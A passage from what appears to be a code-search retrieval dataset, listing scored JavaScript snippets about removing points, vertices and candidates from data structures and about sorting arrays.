0; i < pointArr.length; i++) {\n const element = pointArr[i];\n if (element !== undefined) {\n element.setMap(null);\n }\n }\n pointArr = [];\n}", "title": "" }, { "docid": "137a02cdc0d9425f68c3a376757e96d2", "score": "0.5264775", "text": "function removeSq(){\n var squares = $(\"#stage .sq\"),\n lines = checkLine();\n //console.log(\"LINES\", lines.length, lines);\n\n t.game.score(lines.length * 100);\n\n\n\n $.each(lines, function (i, v) {\n\n var el = squares.filter(function (value){\n return $(this).position().top == v;\n });\n el.remove();\n\n //setTimeout(function(){\n var el2 = squares.filter(function (value){\n return $(this).position().top < v;\n });\n\n el2.css({ top: \"+=\"+ t.SQ});\n //remap();\n //}, 100);\n $(\"body\").trigger(\"lineClear\");\n });\n remap();\n }", "title": "" }, { "docid": "0d713c4881e24a6b3abcc5b4eb5d1c2e", "score": "0.5244263", "text": "function removeCandidateInBlock( candidates, block, x) {\r\n\tvar r, row;\r\n\tvar c, col;\r\n\trow = subgridXY[block-1][0];\r\n\tcol = subgridXY[block-1][1];\r\n\t\r\n\t// Das hatten wir doch schon mal: for (r = row; r < (row + 3); row++) {\r\n\tfor (r = row; r < (row + 3); r++) {\r\n\t\tfor (c = col; c <(col + 3); c++) {\r\n\t\t\tcandidates[r][c][x-1] = 0;\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "dd54e5bb7044ddb1c9edcba9934bcca8", "score": "0.5236744", "text": "removeEdge(v1, v2) {\n if (this.adjacencyList[v1] && this.adjacencyList[v2]) {\n this.adjacencyList[v1] = this.adjacencyList[v1].filter(v => v !== v2)\n this.adjacencyList[v2] = this.adjacencyList[v2].filter(v => v !== v1)\n }\n else {\n console.log('Vertex doesnt exist')\n }\n }", "title": "" }, { "docid": "fc765258e61969a035f3ce9648143c98", "score": "0.52233195", "text": "function eliminating (dr, cl){\n var i = 2;\n while ((i < (sel_val['node_cap']+2)) && (memoria[dr][i] != cl)) {\n i++;\t \n }\n memoria[dr][i] = '----';\n}", "title": "" }, { "docid": "476875d8f5925f5c86b83f68894dc483", "score": "0.52221", "text": "removeNeighboringVertex(vertex) {\n var index = this.neighbors.indexOf(vertex);\n this.neighbors.splice(vertex, 1);\n var index2 = vertex.neighbors.indexOf(this.point);\n vertex.neighbors.splice(index2, 1);\n }", "title": "" }, { "docid": "95020222b6a1e67acdcdef8f3d549a8e", "score": "0.5220843", "text": "function removeIslands(matrix) {\n for (let i = 0; i < matrix.length-1; i++) {\n for (let j = 0; j < matrix[0].length-1; j++) {\n let point = [i, j]\n if (matrix[i][j] === 1) {\n let x = isIsland(matrix, point);\n if (typeof x === 'object') {\n matrix = removeCurrentIsland(matrix, x);\n }\n } \n }\n }\n return matrix;\n}", "title": "" }, { "docid": "10765131500d075ef30b0d4c0888038f", "score": "0.52208304", "text": "function getCleanCells() {\r\n var counter = 0;\r\n for (var i = 0; i < gLevel.SIZE; i++) {\r\n for (var j = 0; j < gLevel.SIZE; j++) {\r\n if (!gBoard[i][j].isMine &&\r\n !gBoard[i][j].isShown) {\r\n gSafeCells.push({ i, j });\r\n counter++;\r\n }\r\n }\r\n }\r\n}", "title": "" }, { "docid": "06bb6975d4c6576364b4b578fe2346f7", "score": "0.52178985", "text": "function removeTwinCandidatesInRow( candidates, row, twin1, twin2, idxTwin1, idxTwin3) {\r\n\r\n\tvar col;\r\n\tfor (col = 0; col < 9; col++) {\r\n\t\tif ( (col != idxTwin1) && (col != idxTwin3) ) {\r\n\t\t\tcandidates[row][col][twin1-1] = 0;\r\n\t\t\tcandidates[row][col][twin2-1] = 0;\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "98af9c7ccf345b777006af1f7f94382b", "score": "0.52150345", "text": "isXYCoordClear(x, y, width) {\n if(x < 0) {\n return false;\n }\n for(var i = 0; i <= width; i+=1) {\n if(this.map.getTileWorldXY(x + i, y, 32, 32, this.blockedLayer)) {\n return false;\n }\n var hit = false;\n // this.players.forEach((p) => {\n // if(p.body.hitTest(x + i, y)) {\n // hit = true;\n // return;\n // }\n // })\n if(hit) {\n return false;\n }\n }\n return true;\n }", "title": "" }, { "docid": "d6143cfa2211857814172dcbccddc5a9", "score": "0.5209894", "text": "pruneExceptNewestZ() {\n if (this.getCount() === 0) {\n return;\n }\n const key = this.peekFirstKey();\n const tileCoord = fromKey(key);\n const z = tileCoord[0];\n this.forEach(\n function (tile) {\n if (tile.tileCoord[0] !== z) {\n this.remove(getKey(tile.tileCoord));\n tile.release();\n }\n }.bind(this)\n );\n }", "title": "" }, { "docid": "a6e184dbab43ba64889e0a2cd24e7fa9", "score": "0.5200506", "text": "function onFrame(){\n for(var i = 0; i < circles.length; i++){\n circles[i].fillColor.hue += 1;\n circles[i].scale (0.9);\n // remove the circle from the cirles Array when the area is smaller than 1.\n if(circles[i].area < 1){\n circles[i].remove(); // remove the circle from the canvas\n circles.splice(i, 1); // remove the circle from the array\n console.log(circles);\n }\n }\n}", "title": "" }, { "docid": "3745da6122c3370498587804a44181a0", "score": "0.51992494", "text": "function computeUpperHullIndexes(points){var n=points.length,indexes=[0,1],size=2;for(var i=2;i<n;++i){while(size>1&&cross(points[indexes[size-2]],points[indexes[size-1]],points[i])<=0){--size;}indexes[size++]=i;}return indexes.slice(0,size);// remove popped points\n}", "title": "" }, { "docid": "50ab795875fcfaa7517f76f3557de2cf", "score": "0.5195971", "text": "function deletePoint(x, y) {\n removePointAndEdges(x, y);\n redrawEdges();\n redrawPoints();\n lastHit = [];\n isLastHit = false;\n}", "title": "" }, { "docid": "f89130e1c4ae0ff3fc3c76a71c63c84c", "score": "0.51934814", "text": "function mvtPointArrayCmp (arr1, arr2) {\n arr1 = arr1.filter(p1 => !arr2.find(p2 => Math.abs(p1.x - p2.x) <= 2 && Math.abs(p1.y - p2.y) <= 2));\n assert.equal(arr1.length, 0, \"Items not found in Mapnik's: \" + JSON.stringify(arr1));\n}", "title": "" }, { "docid": "fbd69ba4626c9956b493132989b4f405", "score": "0.5192716", "text": "apply(mutableBoardData, cloneSquare){\n // in a classic cage, everythign is unique, and there is a sum;\n \n\n\n\n //5..2...4....6.3....3...9..7..3..7.....7..8...6......2..8......3...4..6.....1..5..\n let mutations = 0;\n this.cellIndexes.forEach( (cellIdx, index, array) => {\n let immutableSquare = mutableBoardData[cellIdx];\n let replacementCandidates = [...immutableSquare.candidates];\n \n \n \n // if the region contains only 1 of a given candidate, remove all other candidates form that cell -- only for 9 square unique Regions - not cages per se\n // if the region has a known candidate in another cell, remove that from this cell - only for unique Regions\n if( this.exact ){\n replacementCandidates.forEach( (candidate, cIndex, cArray) => {\n \n if( candidate > 0 ){\n let solvedIndex = this.cellIndexes.filter( (i) => i!==cellIdx).some( cIdx => (mutableBoardData[cIdx].given||mutableBoardData[cIdx].answer) === candidate );\n if( solvedIndex){\n replacementCandidates[cIndex] = 0;\n mutations = mutations+1;\n }\n }\n });\n\n \n } \n\n \n \n // need to honor the unique flag\n //also for exeact matches is: if a candidate is too big, or too small to work, remove it\n if( this.exact ){\n let otherCellIndexes = this.cellIndexes.filter( i=> i!== cellIdx);\n replacementCandidates.forEach( (candidate, cIndex, cArray) => {\n if( candidate > 0 ){\n if( ! this.cageValidates(mutableBoardData, [candidate], this.value-candidate, otherCellIndexes)){\n replacementCandidates[cIndex] = 0;\n mutations = mutations+1;\n }\n \n\n }\n });\n\n \n \n }\n\n // if the region has a candidate that exists in the intersection of two regions, \n // and the candidate only exists in that intersection on the Other rule, \n //then this candidate must also exist within said intersection on this rule!\n\n\n if( mutations>0 ){\n let newSquareData = cloneSquare(immutableSquare);\n console.log(\"Removing value from square\");\n newSquareData.candidates = replacementCandidates;\n \n mutableBoardData[cellIdx]=newSquareData;\n }\n\n \n \n\n });\n return mutations;\n \n }", "title": "" }, { "docid": "79ac404f4fefcc200d559984a49462e9", "score": "0.51860934", "text": "function cleanPSLG(points, edges, colors) {\n\t var modified = false\n\t\n\t //If using colors, augment edges with color data\n\t var prevEdges\n\t if(colors) {\n\t prevEdges = edges\n\t var augEdges = new Array(edges.length)\n\t for(var i=0; i<edges.length; ++i) {\n\t var e = edges[i]\n\t augEdges[i] = [e[0], e[1], colors[i]]\n\t }\n\t edges = augEdges\n\t }\n\t\n\t //Run snap rounding until convergence\n\t while(snapRound(points, edges, !!colors)) {\n\t modified = true\n\t }\n\t\n\t //Strip color tags\n\t if(!!colors && modified) {\n\t prevEdges.length = 0\n\t colors.length = 0\n\t for(var i=0; i<edges.length; ++i) {\n\t var e = edges[i]\n\t prevEdges.push([e[0], e[1]])\n\t colors.push(e[2])\n\t }\n\t }\n\t\n\t return modified\n\t}", "title": "" }, { "docid": "99b5f938a903326e4b3ae4f07fae9f03", "score": "0.5185775", "text": "removeVertex(value) {\n const [rmValue, index] = this.vertices.reduce((acc, v, idx) => {\n if (v.value === value) return [v.value, idx];\n return acc;\n }, []);\n return this.vertices.splice(index);\n }", "title": "" }, { "docid": "2af48547f6706d04b0d6b8bc060bffe3", "score": "0.5179684", "text": "function cavityMap(grid) {\n // Complete this function\n /*\n \n 상하좌우 값을 비교하여 X로 변환함. (대각선은 X)\n \n */\n if (grid.length > 2){\n\n var now_num = 0;\n var up_num = 0;\n var down_num = 0;\n var right_num = 0;\n var left_num = 0;\n\n for (var i = 1 ; i < grid.length-1 ; i++){\n for (var j = 1 ; j < grid.length-1 ; j++){\n\n now_num = grid[i][j];\n up_num = grid[i-1][j];\n down_num = grid[i+1][j]; \n left_num = grid[i][j-1];\n right_num = grid[i][j+1];\n \n if (now_num > up_num && now_num > down_num && now_num > right_num && now_num > left_num){\n //console.log(grid[i][j] + \" = \" + i + \",\" +j);\n var arr = grid[i].split(\"\");\n arr.splice(j, 1, 'X');\n grid[i] = arr.join(\"\");\n //console.log(grid[i][j]);\n }else{\n //console.log(grid[i][j]);\n }\n } \n }\n return grid;\n }else{\n return grid;\n }\n}", "title": "" }, { "docid": "eda53027ac587e3562ba45e3b424e5f8", "score": "0.51707226", "text": "function delaunay(points) {\n if (points.length <= 3) {\n // return triangulation\n return undefined;\n }\n \n let middle = Math.floor(points.length);\n let left = delaunay(points.slice(0, middle));\n let right = delaunay(points.slice(middle, points.length));\n return merge_delaunay(left, right);\n}", "title": "" }, { "docid": "b54a01a8bce68a5add9b093899a63ac0", "score": "0.51703376", "text": "function removeCandidateInColumn( candidates, col, x) {\r\n\r\n\tvar row;\r\n\tfor (row = 0; row < 9; row++) {\r\n\t\tcandidates[row][col][x-1] = 0;\r\n\t}\r\n}", "title": "" }, { "docid": "d4aa3d2c99bb8fc60bcfd96a277c68ae", "score": "0.516221", "text": "get isSinglePoint() {\n return this.high.x === this.low.x\n && this.high.y === this.low.y;\n }", "title": "" }, { "docid": "b3aba462188c5e4c489086f95d5569d2", "score": "0.5161623", "text": "function handleCollision(Mark_pos_new, Mark_pos_origin) {\n var index = 0, index1;\n\t\t\n\t//\tvar ind = 0;\n\t//\twhile(ind < Mark_pos_new.length){\n\t/////\t\tconsole.log(Mark_pos_new[ind])\n\t////\t\tind++;\n\t//\t}\n\t\t\n /**\n * hai chuoi co it nhat 1 vi tri trung nhau, luc nay can kiem chung cac vi tri\n * trung nhau co thuc su go^/i len nhau khong so sanh cac toa do xem co bi trung\n * nhau khong\n */\n\n while (index < Mark_pos_new.length) {\n index1 = index + 1;\n while (index1 < Mark_pos_new.length) {\n // xay ra va cham\n if(intersectCoordinateSpecials(Mark_pos_new[index], Mark_pos_new[index1])) {\n console.log(\"co xu li diem trung nhau\");\n // ta chon do trung nhau lon nhat\n if (Mark_pos_new[index].distance() > Mark_pos_new[index1].distance()) {\n Mark_pos_new.splice(index1, 1);\n Mark_pos_origin.splice(index1, 1);\n index1--;\n } else {\n Mark_pos_new.splice(index, 1);\n Mark_pos_origin.splice(index, 1);\n index--;\n break;\n }\n }\n index1++;\n }\n index++;\n }\n }", "title": "" }, { "docid": "9e7d868dcdb1d5dba081a4caa0778c66", "score": "0.51613057", "text": "function changePointsOrder(point1, point2, point3, point4) {\n var points = [point1, point2, point3, point4]\n for (var i = 0; i < points.length; i++) {\n for (var j = i + 1; j < points.length; j++ ) {\n if (points[i].x > points[j].x) {\n var tmp = points[i].x\n points[i].x = points[j].x\n points[j].x = tmp\n tmp = points[i].y\n points[i].y = points[j].y\n points[j].y = tmp\n } else if(points[i].x == points[j].x) {\n if (points[i].y > points[j].y) {\n tmp = points[i].y\n points[i].y = points[j].y\n points[j].y = tmp\n }\n }\n }\n }\n return points\n}", "title": "" }, { "docid": "2d3649c955cf960ddb0850e01ddd076e", "score": "0.5160324", "text": "removePellet (pos) {\n this.pellets = this.pellets.filter(function (pellet) {\n return !isSamePos(pos, pellet)\n })\n }", "title": "" }, { "docid": "530d9c9a36c95e573e7983129e851d40", "score": "0.5146023", "text": "function removeSurroundingsOutsideTheBoard(shipSurroundingCoordinates, board) {\n\n var shipSurroundingCoordinatesOnBoard = [];\n //iterate through the surrounding cell coorinates\n for (var i = 0; i < shipSurroundingCoordinates.length; i++) {\n\n //if it's on the board then add it to the new array which will be returned\n if (isCoordinateOnBoard(shipSurroundingCoordinates[i], board)) {\n shipSurroundingCoordinatesOnBoard.push(shipSurroundingCoordinates[i]);\n }\n }\n\n return shipSurroundingCoordinatesOnBoard;\n\n\n}", "title": "" }, { "docid": "ba4d7029f4792ec495a44b572dd56c42", "score": "0.51451313", "text": "isClear() {\n return this.freeCount === this.points.length * this.points[0].length;\n }", "title": "" }, { "docid": "00ec3aaae8b9d78dab8725f0cca23409", "score": "0.5144738", "text": "function removeNoise(bw_m, max_empty_space) {\n\t\n\tif (max_empty_space < 1) max_empty_space = 1;\n\t\n\tvar neighbour_pointers = generateNeighbourPointers(max_empty_space, max_empty_space);\n\t\n\tfor (var x = 0; x < bw_m.length; x++) {\n\t\tfor(var y = 0; y < bw_m[0].length; y++) {\n\t\t\t// Jos kasiteltava pikseli on valkoinen jatketaan seuraavan pikseliin\n\t\t\tif (bw_m[x][y] === 255) continue;\n\t\t\t\n\t\t\t// Jos pikseli oli musta, katsotaan naapurit: poisto, jos mustaa pikselia ei loydy naapurista\n\t\t\tvar found = false;\n\t\t\tfor (var i = 0; i < neighbour_pointers.length; i++) {\n\t\t\t\tvar n_x = x + neighbour_pointers[i][0];\n\t\t\t\tvar n_y = y + neighbour_pointers[i][1];\n\t\t\t\t\t\t\n\t\t\t\t// Jos laskettu naapurin sijainti on matriisin ulkopuolella --> jatketaan seuraavaan naapuriin:\n\t\t\t\tif (n_x < 0 || n_x >= bw_m.length || n_y < 0 || n_y >= bw_m[0].length) continue;\n\t\t\t\t\n\t\t\t\t// Jos naapuri oli musta --> lopetetaaan naapureiden lapikaynti\n\t\t\t\tif (bw_m[n_x][n_y] == 0) {\n\t\t\t\t\tfound = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Jos mustaa naapuria ei loytynyt --> muutetaan kasiteltava pikseli valkoiseksi\n\t\t\tif (found === false) {\n\t\t\t\tbw_m[x][y] = 255;\n\t\t\t}\n\t\t}\n\t}\n\t\n\treturn bw_m;\n}", "title": "" }, { "docid": "1745d2f0cb239572c816aac96ba97ac5", "score": "0.514244", "text": "removeAllVerticesFromFace(face) {\n if (face.outside !== null) {\n // reference to the first and last vertex of this face\n\n const start = face.outside;\n let end = face.outside;\n\n while (end.next !== null && end.next.face === face) {\n end = end.next;\n }\n\n this.assigned.removeSubList(start, end);\n\n // fix references\n\n start.prev = end.next = null;\n face.outside = null;\n\n return start\n }\n }", "title": "" }, { "docid": "8949afddd1db2c38fb7559b99bcb3b24", "score": "0.5141316", "text": "function processPoints()\n{\n\t//empty old points\n\tpoints = [];\n\t//clickable area around a uni\n\tvar refArea = (c.width * c.height) * refRadius;\n\t//calculate new area and position depending on window size\n\tfor(var i = 0; i < uniPoints.length; i++)\n\t{\n\t\tpoints.push(new Point(uniPoints[i][2], c.width * uniPoints[i][0], c.height * uniPoints[i][1], refArea));\n\t\t//if the point refers to a selected university show the selection on the map\n\t\tif(points[i].name === selected1)\n\t\t{\n\t\t\tsX1 = points[i].x;\n\t\t\tsY1 = points[i].y;\n\t\t}\n\t\telse if(points[i].name === selected2)\n\t\t{\n\t\t\tsX2 = points[i].x;\n\t\t\tsY2 = points[i].y;\n\t\t}\n\t}\n\t//show selected universities if they exist\n\tshowSelection();\n}", "title": "" }, { "docid": "f23508425ecb5ae63402ebcc7d069d43", "score": "0.513979", "text": "clearPoint (x, y) {\n this.grid[x][y] = null\n }", "title": "" }, { "docid": "df7616141389ed20f0cd154e6927a7cb", "score": "0.5135092", "text": "function draw() {\n background(237, 34, 93);\n for(let i = 0; i < h; i += 10) {\n for(let j = 0; j < w; j+= 10) {\n // line(0,j,w,j)\n \n \n // if(cx.length > 1) {\n // point_color = 255;\n // }\n \n // for(let g = 0; g < cx.length; g ++){\n // if(i == cy[g] && j == cx[g]) {\n \n // point_color = 222;\n // // console.log('match found!');\n // // strokeWeight(4);\n // stroke(point_color);\n // // point(cx[g],cy[g])\n // point(i,j)\n // } \n // point_color = 0;\n \n // // stroke(`rgba(0,${point_color},0,0.25)`);\n \n // // point_color = 0;\n \n // }\n // for(let h = 0; h < cx.length +1; h++){\n point_color = 0;\n stroke(point_color);\n point(i,j)\n if(i == cx[counting] && j == cy[counting]) {\n point_color = 222;\n stroke(point_color);\n point(cx[counting],cy[counting])\n counting++;\n } \n \n // else {\n // // point_color = 0;\n // // stroke(point_color);\n \n // }\n\n // }\n \n \n // point(i,j)\n \n // stroke(point_color);\n // point(i,j)\n // point_color = 0;\n \n } \n // line(i, 0, i, h)\n }\n \n\n // strokeWeight(3)\n // stroke(0,255,128)\n // ellipse(mouseX,mouseY,100,100)\n // line(250,250,mouseX,mouseY);\n// print('llll');\n\n // noStroke();\n // fill(0,0,255,10);\n // ellipse(mouseX, mouseY, 50, 50)\n\n // ellipse(500-mouseX, mouseY, 50, 50)\n // ellipse(mouseX, mouseY, 50, 50)\n\n // Cycle through the array, using a different entry on each frame.\n // // Using modulo (%) like this is faster than moving all the values over.\n // // print(frameCount % num,'framecount % module num'); // 0 - 60 always \n // let which = frameCount % num; //ticks from 0 to 59 // 0 1st draw // 1 = 2nd draw // 2 = 3rd draw // 3 = 4th draw\n // mx[which] = mouseX; // mx[0] = mouseX from 1st draw // mx[1] = mouseX from 2nd draw // mx[2] = mouseX from 3rd draw\n // my[which] = mouseY; // my[0] = mouseY from 1st draw // my[1] = mouseY from 2nd draw // my[2] = mouseY from 3rd draw\n\n // for (let i = 0; i < num; i++) { // !important -- draws from 'which' + 1\n // // which+1 is the smallest (the oldest in the array)\n // // let index = (which + 1 + i) % num;\n // let index = (which+1+i) % num;\n // console.log(index,'index');\n // ellipse(mx[index], my[index], i, i);\n // }\n}", "title": "" }, { "docid": "490dd7b0985b95c70ca07b849b0aed6e", "score": "0.51332873", "text": "function removeCubicBezierCurve() {\r\n for (i = 0; i < pointsToRemove.length - 1; i++) {\r\n p1 = pointsToRemove[i];\r\n p2 = pointsToRemove[i + 1];\r\n\r\n if (i % 100 == 1 || i == pointsToRemove.length - 2) {\r\n context.fillStyle = \"#ffffff\";\r\n context.beginPath();\r\n context.fillRect(p1[0][0] - 3, p1[1][0] - 3, 6, 6);\r\n context.fill();\r\n }\r\n\r\n context.beginPath();\r\n context.moveTo(p1[0][0], p1[1][0]);\r\n context.lineTo(p2[0][0], p2[1][0]);\r\n context.lineWidth = 2;\r\n context.strokeStyle = \"#ffffff\";\r\n context.stroke();\r\n }\r\n context.lineWidth = 1;\r\n}", "title": "" }, { "docid": "078255055382bbcc56b38b2a5ad2e6c1", "score": "0.5131731", "text": "function tipToTipDeleteCrease(grid, x, y, xInc, yInc) {\n var countM = countCreaseByColor(grid, new Point(x, y), \"M\");\n var countV = countCreaseByColor(grid, new Point(x, y), \"V\");\n var cornerFoldCount = countCreaseByColor(grid, new Point(x, y), \"C\");\n var countM90 = countCreaseByColor(grid, new Point(x, y), \"M90\");\n var countV90 = countCreaseByColor(grid, new Point(x, y), \"V90\");\n\n // Used for testing whether extruded face has been reached\n var countMAhead = countCreaseByColor(grid, new Point(x + xInc, y + yInc), \"M\");\n var countVAhead = countCreaseByColor(grid, new Point(x + xInc, y + yInc), \"V\");\n\n if(!(grid.creaseExists(new Crease(new Point(x,y), new Point(x - xInc, y - yInc), \"M90\")))) {\n return -1;\n }\n\n x += xInc;\n y += yInc;\n \n return [x, y];\n}", "title": "" }, { "docid": "2eef2c01273537da830cef706025b8a2", "score": "0.51310676", "text": "function linkedList(data,start,end,dim,clockwise){var i,last;if(clockwise===signedArea(data,start,end,dim)>0){for(i=start;i<end;i+=dim){last=insertNode(i,data[i],data[i+1],last);}}else{for(i=end-dim;i>=start;i-=dim){last=insertNode(i,data[i],data[i+1],last);}}if(last&&equals(last,last.next)){removeNode(last);last=last.next;}return last;}// eliminate colinear or duplicate points", "title": "" }, { "docid": "aacc91af6c80dbf025719d0ab5057b70", "score": "0.51292664", "text": "function checkForDuplicate(Array, Coordinate) {\n\tfor (var i = 0; i < Array.length; i++) {\n\t\tif (Array[i][2] === Coordinate.geographicboundingbox) {\n\t\t\tArray[i][1].push(Coordinate.id);\n\t\t\treturn false;\n\t\t}\n\t}\n\treturn true;\n}", "title": "" }, { "docid": "e26febff0b03de837801a9f6921f0c0e", "score": "0.51283044", "text": "getPositiveDiffOfArraysOfPoints({pois, currentMarkers}) {\n return pois.reduce((accumulate, originalArrayPoint) => {\n !currentMarkers.some(comparedArrayPoint => {\n return (\n comparedArrayPoint.Id === originalArrayPoint.Id &&\n comparedArrayPoint.options.icon.options.className.includes(\n originalArrayPoint.customClassName\n )\n )\n }) && accumulate.push(originalArrayPoint)\n return accumulate\n }, [])\n }", "title": "" }, { "docid": "7b24110fb99f462aab172fa6908b01b2", "score": "0.5125111", "text": "function deDuplicate(data) {\n\n var result = [];\n\n data.forEach(function(element) {\n\n if (result.indexOf(element) === -1) {\n result.push(element);\n }\n });\n\n return result;\n}", "title": "" }, { "docid": "1d0458b2496ba46a73f32db568d071de", "score": "0.51250637", "text": "function dedup(array) {\n debugger;\n for (var i = 0; i < array.length; i++){\n for (var j = i+1; j < array.length; j++){\n if (array[i] === array[j]){\n array.splice(j,1);\n i--;\n }\n }\n }\nreturn array;\n}", "title": "" }, { "docid": "99df5a2ac1480bcac3247a91bc0a5dcb", "score": "0.51237315", "text": "function removeDup(data){\n var ret = data.filter((value, index) => data.indexOf(value) === index);\n return ret;\n \n }", "title": "" }, { "docid": "c39adc48a3f2a907ae351e17637ccef7", "score": "0.51196384", "text": "function remove(board, col) {\n for (let row=numHigh-1; row>=0; row--) {\n if (board[col][row] != \"white\") {\n board[col][row] = \"white\";\n break;\n }\n }\n}", "title": "" }, { "docid": "9b1c0720d863c24b29c19dc311afe1f1", "score": "0.5116171", "text": "function removeWalls(curr, next) {\n var idist = curr.i - next.i;\n var jdist = curr.j - next.j;\n if (idist === 1) {\n curr.walls[3] = false;\n next.walls[1] = false;\n } else if (idist === -1) {\n curr.walls[1] = false;\n next.walls[3] = false;\n } else if (jdist === 1) {\n curr.walls[0] = false;\n next.walls[2] = false;\n } else if (jdist === -1) {\n curr.walls[2] = false;\n next.walls[0] = false;\n }\n}", "title": "" } ]
cd01442534135a6b65fe286f666bc072
Speichert die Richtung der Array Sortierung
[ { "docid": "923b25567fd57e3ca890addd839d4a0c", "score": "0.0", "text": "function SortDir() {\n var dir = -1;\n\n function direction() {\n dir = dir * -1;\n return dir;\n }\n\n return {\n dir: direction\n }\n }", "title": "" } ]
[ { "docid": "2c3bd5a0dd5a09b6d50d19da367f08c7", "score": "0.7751371", "text": "function sort(arr){\n\n}", "title": "" }, { "docid": "fb3704f8b9ada5a7c97b726fe9b5c542", "score": "0.7508234", "text": "function selectionSort(array){\n\n}", "title": "" }, { "docid": "7d1458535f29165a711024f2fe5dd505", "score": "0.7431016", "text": "function sortArray(unsortedArray) {\n \n}", "title": "" }, { "docid": "2881cad90ae9ba3739d178cb31674a2b", "score": "0.73567766", "text": "function selectionSort(arr){\n\n}", "title": "" }, { "docid": "3460e629abf7808537ecdb7c2cf9025b", "score": "0.7309266", "text": "function selectionSort(arr) {}", "title": "" }, { "docid": "68ee0e2153f3ab6802f5d792837c096c", "score": "0.71575946", "text": "sortArray(el, options, reSort){ //propertyName, type, surrogateArray, surrogateProperty, sortProperty, sortDirectionParam){\n if(reSort){\n if(!this.lastOption || !this.lastEl) return;\n el = this.lastEl;\n options = this.lastOption;\n } else {\n this.lastEl = el;\n this.lastOption = options;\n }\n if(options.sortDirectionParam) this.sortDirection = sortDirectionParam;\n this.sortProperty=options.propertyName;\n if(options.propertyName === this.sortProperty){\n this.sortDirection *= -1;\n } else {\n this.sortDirection = 1;\n }\n\n $(\".sortable\").next().replaceWith('<i class=\"fa fa-sort\"></i>');\n if(this.sortDirection < 0){\n var icon = '<i class=\"fa fa-sort-amount-desc\" aria-hidden=\"true\"></i>'; \n } else {\n var icon = '<i class=\"fa fa-sort-amount-asc\" aria-hidden=\"true\"></i>';\n }\n \n $(el.target).next().replaceWith(icon);\n \n if(!options.type){\n if(options.propertyName.indexOf('.') > -1){\n var array = options.propertyName.split('.'); \n }\n\n if(array){\n this.baseArray = this.baseArray\n .sort((a, b) => {\n var result = (a[array[0]][array[1]] < b[array[0]][array[1]]) ? -1 : (a[array[0]][array[1]] > b[array[0]][array[1]]) ? 1 : 0;\n return result * this.sortDirection;\n });\n } else {\n this.baseArray = this.baseArray\n .sort((a, b) => {\n var result = (a[options.propertyName] < b[options.propertyName]) ? -1 : (a[options.propertyName] > b[options.propertyName]) ? 1 : 0;\n return result * this.sortDirection;\n });\n }\n \n } else if(options.type == 'custom') {\n if(typeof options.sorter == 'function'){\n var sortArray = this.utils.copyArray(this.baseArray); \n this.baseArray = options.sorter(this.sortProperty, this.sortDirection, sortArray, this.context);\n }\n } else {\n var properties = options.searchProperty.split('.');\n var condition = \"item\"\n for(let j = 0; j<properties.length; j++){\n if(properties[j].indexOf('[') > -1 ) {\n condition += properties[j];\n } else {\n condition += \"['\" + properties[j] + \"']\";\n }\n }\n var sortArray = this.utils.copyArray(this.baseArray);\n sortArray.forEach((item) => {\n var obj = this.findObj(options.surrogateArray, options.surrogateProperty, eval(condition));\n item[options.propertyName] = obj ? obj[options.propertyName] : null;\n })\n\n this.baseArray = sortArray.sort((a, b) => {\n var result = (a[options.propertyName] < b[options.propertyName]) ? -1 : (a[options.propertyName] > b[options.propertyName]) ? 1 : 0;\n return result * this.sortDirection;\n });\n }\n\n\n this.startRecord = this.DEFAULT_START;\n this.firstVisible = 1;\n this.buildDisplayArray();\n this.lastVisible = parseInt(this.take) < this.displayLength ? parseInt(this.take) : this.displayLength;\n\n this.pageOne();\n }", "title": "" }, { "docid": "502a1ca0d76ee263f358b3c12ad976bf", "score": "0.70888025", "text": "function sortMeOneMoreTime(arr) {\n\n\n}", "title": "" }, { "docid": "e504b49ff54a355c30ca311d49136459", "score": "0.6996076", "text": "function sort(arr) {\n return arr\n}", "title": "" }, { "docid": "b131c31b23c9ee2396214eafc7aced4a", "score": "0.699345", "text": "function manualSort(array) {\n for(i=0;i<array.length;i++){ \n for(j=array[i].length-1;j>=0;j--){\n for(k=0;k<j;k++){\n if(array[i][k] > array[i][k+1]){ \n var temp = array[i][k]\n array[i][k]=array[i][k+1]\n array[i][k+1]=temp\n }\n \n }\n \n }\n }\n return array\n}", "title": "" }, { "docid": "dbaeeb1d7b28381db76f60c8f32b2bf6", "score": "0.69461143", "text": "sort(array) {\n if(this.isSorted(array)) {\n return array;\n }\n let length = array.length;\n let h = 1;\n while (h < Math.round(length / 3)) {\n h = h * 3 + 1;\n }\n while (h >= 1) {\n for (let i = h; i < length; i++) {\n for (let j = i; j >= h && this.less(array[j], array[j-h]); j -= h) {\n this.exchange(array, j, j-h);\n }\n }\n h = Math.round(h/3);\n }\n return array;\n }", "title": "" }, { "docid": "a20a44ac906e80356e6c124e847e05f6", "score": "0.69423676", "text": "function _sort() {\n do {\n pass = false;\n for(var i = 0; i < numArray.length; i++) {\n if(numArray[i] > numArray[i + 1]) {\n current = numArray[i];\n numArray[i] = numArray[i + 1];\n numArray[i + 1] = current;\n pass = true;\n count ++;\n }\n }\n }while (pass);\n }", "title": "" }, { "docid": "17cbe4ea3b3b94011cc972b9f513eeb9", "score": "0.6902386", "text": "function sortArray(a, b) {\n if (a[1][0] < b[1][0]) {\n return -1;\n }\n\n if (a[1][0] > b[1][0]) {\n return 1;\n }\n\n if (a[1][1] < b[1][1]) {\n return -1;\n }\n\n if (a[1][1] > b[1][1]) {\n return 1;\n }\n\n if (a[1][2] < b[1][2]) {\n return -1;\n }\n\n if (a[1][2] > b[1][2]) {\n return 1;\n } else {\n return 0;\n }\n }", "title": "" }, { "docid": "17b93bebca3728a498a556bf61254559", "score": "0.6888919", "text": "resort() {\n this._array.sort(this.comparator);\n }", "title": "" }, { "docid": "2b09968c1365d77093572ea441027fbe", "score": "0.6884401", "text": "function _sort() {\n\n //the 'do / while' loop allows our algorithm to iterate over array until values are shuffled into ascending order.\n do {\n\n //set the pass variable to false, this is the trigger to continue iterating over the array.\n pass = false;\n\n //iterating over array by each index\n for( var i = 0; i < arry.length; i++ ) {\n\n //comparing if the current index value is greater than the next index value\n if( arry[i] > arry[i + 1] ) {\n\n //if it is we place our current index and store it in the current variable\n current = arry[i];\n\n //next we assign the current index to equal the value of the next index\n arry[i] = arry[i + 1];\n\n //we then assign the next index to the current 'greater' value\n arry[i + 1] = current;\n\n //assign pass value to true\n pass = true;\n }\n }\n //indicating that we continue to instantiate our algorithm until pass becomes true.\n } while ( pass );\n }", "title": "" }, { "docid": "3c2aa6888016a00d21cf0629bd08c94b", "score": 